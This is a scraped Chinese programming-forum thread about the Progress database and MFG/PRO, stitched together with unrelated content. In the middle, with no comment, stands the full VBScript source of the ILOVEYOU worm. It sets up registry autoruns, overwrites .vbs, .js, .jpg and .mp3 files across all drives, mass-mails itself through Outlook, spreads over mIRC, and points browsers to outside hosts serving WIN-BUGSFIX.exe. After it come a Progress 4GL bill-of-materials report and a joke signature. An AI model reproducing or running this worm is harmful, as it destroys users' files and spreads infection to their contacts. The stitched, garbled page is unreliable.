是一种数据库(Progress)!有听说过吗?
解决方案 »
- 能不能让一个程序以普通和服务两种方式执行?
- toolbar中的按钮&webbrowser刷新问题
- 为什么我的窗体会一直创建
- 求助:C/S 两层架构,广域网用户端与主机失去连接!
- 如何在指定文件夹下创建快捷方式?(非桌面)
- lookup方法如何使用?
- 请教一个中文字符串处理的问题:怎样才能把一个WideString类型的字符串像String类型一样用Str[i]来处理每一个字
- 哪位大哥帮帮小弟啊!!!先谢了(不同系统的问题)
- 指针问题,保存一个指向DBMemo的指针,程序中进行操作。运行不出错,退出系统时提示内存出错。
- 请问如何判断光驱中是否有光盘
- 一句SQL语句100分
- 请大家介绍一下自己应聘delphi程序员时,面试问题有哪些?好让后辈们有个思想准备!先谢谢诸位!!
8000块,我可不想拿了!因为我没用过porgress这东西/
这么大一段没有注析程序我也不想去认真看!
你自己留着吧!
其实好简单的.
不知各位有没有听说过MFG/PRO 这种MRPII.
真的好简单!
数据库就是用的这种.有兴趣探讨一下
E-mail:[email protected]
"Progress",看过各位有2/3人使用,或了解吗?
bolly明明是“玻璃”嘛!解答了此题是给8000报酬?
还是以月薪8000招聘?
看来老兄对MRP/ERP也有点研究呀!!!!!!!!!!!!!以找到一个同道中人呀!!!!!!!!!!!!!!!!!!!!!!
kao!! 狂人也晕了。@_@
rem by: spyder / [email protected] / @GRAMMERSoft Group / Manila,Philip
pines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scriptin
g Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explore
r\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B
UGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext=
"sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="scri
pt.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corru
pt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FO
R-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&male
ad)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from m
e."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,
"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addre
ssEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addre
ssEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Gene
rator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? [email protected] ?-? @G
RAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is go
od...@-@>"&vbcrlf& _
"<?-?HEAD><BODY ONMOUSEOUT=@[email protected]=#-#main#-#;window.open(#-#LO
VE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@[email protected]=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YO
U.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@
>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to r
ead this HTML file<BR>- Please press #-#YES#-# button to Enable Active
X<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>--------
--z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight
;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@[email protected]@-@)"&vbcrlf&
_
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf
& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf&
_
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@[email protected]@-@)"&vbcrlf& _
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windo
ws^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.v
bs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub
define variable level as integer no-undo.
define variable maxlevel as integer format ">>>"
label "Levels" no-undo.
/*GH69* define variable eff_date like exd_eff_date no-undo. */
/*GH69*/ define variable eff_date as date no-undo label "As of Date".
define variable parent like ps_par no-undo.
define variable parent1 like ps_par no-undo.
define variable parent2 like ps_par no-undo.
define variable skpge like mfc_logical initial no
label "New Page Each Parent" no-undo.
define variable sort_ref like mfc_logical initial no
label "Sort by Reference" no-undo.
define buffer bommstr for bom_mstr.
define variable desc1 like pt_desc1 format "x(40)" no-undo.
define variable um like pt_um no-undo.
define variable phantom like mfc_logical format "yes"
label "Ph" no-undo.
define variable iss_pol like pt_iss_pol format "/no" no-undo.
define variable record as integer extent 100 no-undo.
define variable lvl as character format "x(10)"
label "Level" no-undo.
define variable new_parent like mfc_logical.
define variable dep like xcm_dept.
define variable lines as integer.
/*H100*/ define variable op like ro_op format ">>>>>>".
/*H100*/ define variable op1 like ro_op format ">>>>>>".
/*huo*/ define variable xpts_sub_part like pts_sub_part.
define variable xpts_qty_per like pts_qty_per.
define variable cate like xcm_cate.
define variable wt like pt_net_wt.
define variable pm like pt_pm_code.
define variable cdesc like xca_desc format "x(16)".
eff_date = today. form
parent1 colon 22
/*H100 parent2 label {t001.i} colon 49 skip (1) */
/*H100*/ parent2 label {t001.i} colon 49 skip
/*H100*/ op colon 22
/*H100*/ op1 label {t001.i} colon 49 skip (1)
eff_date colon 22 skip
maxlevel colon 22 skip
skpge colon 22 skip
sort_ref colon 22 skip
with frame a width 80 side-labels attr-space. repeat: /* INPUT FORM */
if parent2 = hi_char then parent2 = "".
/*H100*/ if op1 = 999999 then op1 = 0. update parent1 parent2
/*H100*/ op op1
eff_date maxlevel skpge sort_ref with frame a. bcdparm = "".
{mfquoter.i parent1 }
{mfquoter.i parent2 }
/*H100*/ {mfquoter.i op }
/*H100*/ {mfquoter.i op1 }
{mfquoter.i eff_date }
{mfquoter.i maxlevel }
{mfquoter.i skpge }
{mfquoter.i sort_ref } if parent2 = "" then parent2 = hi_char.
/*H100*/ if op1 = 0 then op1 = 999999. /* SELECT PRINTER */
{mfselbpr.i "printer" 132}
{mfphead.i} form header
skip(1) .
/* with frame a1 page-top.
view frame a1.
*/
for each bom_mstr no-lock
/*J12T*/ where bom_fsm_type = " " /* SKIP SERVICE BOM'S */
/*J12T*/ and bom_parent >= parent1 and bom_parent <= parent2:
/*J12T* where bom_parent >= parent1 and bom_parent <= parent2: */
/*J12T* REMOVED RELIANCE ON QAD_WKFL FOR SERVICE BOM DETERMINATION ***
./*G740*/ if can-find(qad_wkfl where qad_key1 = "bom_fsm"
./*G740*/ and qad_key2 = bom_parent)
./*G740*/ then
./*G740*/ next.
.*J12T*/
assign comp = bom_parent
maxlevel = min(maxlevel,99)
level = 1. if sort_ref then
find first ps_mstr use-index ps_parref where ps_par = comp
/*H100*/ and (ps_op >= op and ps_op <= op1)
no-lock no-error.
else
find first ps_mstr use-index ps_parcomp where ps_par = comp
/*H100*/ and (ps_op >= op and ps_op <= op1)
no-lock no-error.
if not available ps_mstr then next. find pt_mstr no-lock where pt_part = bom_parent no-error. assign parent = ps_par
phantom = if available pt_mstr then pt_phantom else no
new_parent = yes
wt = pt_net_wt.
/* view frame phead. */ repeat with frame ddt2 down: /*DETAIL FORM */
form
lvl
ps_comp
cate
cdesc
pm
desc1
ps_qty_per
um
wt
phantom
ps_ps_code
ps_start
ps_end
with frame ddt2 width 200 no-attr-space no-box. if new_parent = yes then do: if page-size - line-counter < 7 then page. display "PARENT" @ lvl parent @ ps_comp
pt_desc1 when (available pt_mstr) @ desc1
bom_desc when (not available pt_mstr) @ desc1
pt_pm_code when ( available pt_mstr) @ pm
pt_um when (available pt_mstr) @ um
bom_batch_um when (not available pt_mstr) @ um
phantom @ phantom. down 1. if available pt_mstr and pt_desc2 > "" then do:
display pt_desc2 @ desc1.
down 1.
end.
/* if available pt_mstr and pt_rev <> "" then do:
display "Rev: " + pt_rev format "X(24)" @ desc1.
down 1.
end. */
new_parent = no.
end. /* if new_parent = yes */ if not available ps_mstr then do:
repeat:
level = level - 1.
if level < 1 then leave.
find ps_mstr
where recid(ps_mstr) = record[level] no-lock no-error.
comp = ps_par.
if sort_ref then
find next ps_mstr use-index ps_parref
where ps_par = comp
/*H100*/ and (ps_op >= op and ps_op <= op1)
no-lock no-error.
else
find next ps_mstr use-index ps_parcomp
where ps_par = comp
/*H100*/ and (ps_op >= op and ps_op <= op1)
no-lock no-error.
if available ps_mstr then leave.
end.
end. /* if not available ps_mstr */
if level < 1 then leave. if eff_date = ? or (eff_date <> ? and
(ps_start = ? or ps_start <= eff_date)
and (ps_end = ? or eff_date <= ps_end)) then do: assign um = ""
desc1 = "Item not in inventory"
iss_pol = no
phantom = no.
wt = 0.
find pt_mstr where pt_part = ps_comp no-lock no-error.
if available pt_mstr then do:
assign um = pt_um
pm = pt_pm_code
desc1 = pt_desc1
iss_pol = pt_iss_pol
wt = pt_net_wt
phantom = pt_phantom.
end.
else do:
find bommstr no-lock
where bommstr.bom_parent = ps_comp no-error.
if available bommstr then
assign um = bommstr.bom_batch_um
desc1 = bommstr.bom_desc.
end.
cate = "".
dep = "".
cdesc = "".
find xcm_mstr where xcm_part = ps_comp no-error.
if available xcm_mstr then do :
if xcm_cate <> " " then cate = xcm_cate.
else dep = xcm_dept.
end.
if cate <> "" then do:
find xca_mstr where xca_cate = cate no-error.
if available xca_mstr then cdesc = xca_desc.
end.
record[level] = recid(ps_mstr).
lvl = "........".
lvl = substring(lvl,1,min (level - 1,9)) + string(level).
if length(lvl) > 10
then lvl = substring(lvl,length (lvl) - 9,10). lines = 1.
if ps_rmks > "" then lines = lines + 1.
if available pt_mstr and pt_desc2 > ""
then lines = lines + 1.
if available pt_mstr and pt_rev > ""
then lines = lines + 1.
if page-size - line-counter < lines then page.
if cate <> "" then do:
display lvl ps_comp cate cdesc pm desc1 ps_qty_per
um
wt
phantom
ps_ps_code ps_start ps_end
with frame ddt2.
end.
else do:
display lvl ps_comp dep @ cate cdesc pm desc1 ps_qty_per
um wt phantom ps_ps_code ps_start ps_end
with frame ddt2.
end.
/*huo*/ /* if ps_scrp_pct <> 0
then display ps_scrp_pct with frame det2.
*/
if available pt_mstr and pt_desc2 > "" then do:
down 1.
display pt_desc2 @ desc1.
end.
/* if available pt_mstr and pt_rev <> "" then do:
down 1.
display "Rev: " + pt_rev format "X(24)" @ desc1.
end.
if length(ps_rmks) <> 0 then do:
down 1.
/* put desc2 at 22. */
display ps_rmks @ desc1.
end. */
/*hslin990713*/ find pts_det no-lock use-index pts_par
where pts_par=comp
and pts_part=ps_comp no-error.
/*hslin990710*/ if available pts_det then do:
/* down 1.*/
find xcm_mstr where xcm_part = pts_sub_part no-error.
if available xcm_mstr then cate = xcm_cate.
find xca_mstr where xca_cate = cate no-error.
if available xca_mstr then cdesc = xca_desc.
down 1.
display "Alt.: " + pts_sub_part format "x(25)" @ ps_par
cate @ cate cdesc @ cdesc
pts_qty_per format "->>>,>>9.9<<<<<<".
end.
find pts_det no-lock where pts_part =ps_comp no-error.
if available pts_det then do:
if pts_par="" then do:
/*down 1.*/
find xcm_mstr where xcm_part = pts_sub_part no-error.
if available xcm_mstr then cate = xcm_cate.
find xca_mstr where xca_cate = cate no-error.
if available xca_mstr then cdesc = xca_desc.
down 1.
display "Alt.: " + pts_sub_part format "x(25)" @ ps_par
cate @ cate cdesc @ cdesc
pts_qty_per format "->>>,>>9.9<<<<<<".
end.
end.
if level < maxlevel or maxlevel = 0 then do:
comp = ps_comp.
level = level + 1.
if sort_ref
then find first ps_mstr use-index ps_parref
where ps_par = comp
/*H100 and (ps_op >= op and ps_op <= op1) */
no-lock no-error.
else
find first ps_mstr use-index ps_parcomp
where ps_par = comp
/*H100 and (ps_op >= op and ps_op <= op1) */
no-lock no-error.
end.
else do:
if sort_ref
then find next ps_mstr use-index ps_parref
where ps_par = comp
/*H100*/ and (ps_op >= op and ps_op <= op1)
no-lock no-error.
else
find next ps_mstr use-index ps_parcomp
where ps_par = comp
/*H100*/ and (ps_op >= op and ps_op <= op1)
no-lock no-error.
end.
end. /* if eff_date = ? or ... */
else do:
if sort_ref then
find next ps_mstr use-index ps_parref where ps_par = comp
/*H100*/ and (ps_op >= op and ps_op <= op1)
no-lock no-error.
else
find next ps_mstr use-index ps_parcomp
where ps_par = comp
/*H100*/ and (ps_op >= op and ps_op <= op1)
no-lock no-error.
end.
end. /* repeat with frame det2 */ if skpge then page.
else put skip(1). {mfrpexit.i}
end. /* for each bom_mstr */ /* REPORT TRAILER */
{mfrtrail.i}
end. /* repeat */
[email protected]
if (!busy) M$_Core->Burn_Me_Down(10000, "times!") else M$_WinXPCore->Make_Me_More_Busy("Until Crash");
Computer->Run_To_Die("as", "quickly", "as", "possible");
M$_WinXPCore->Never_Crash->Coundn't_shutdown("Even On Error");
M$_Money->Announce("This version is too old, please send $199.99 to M$ to buy your update pack#2!");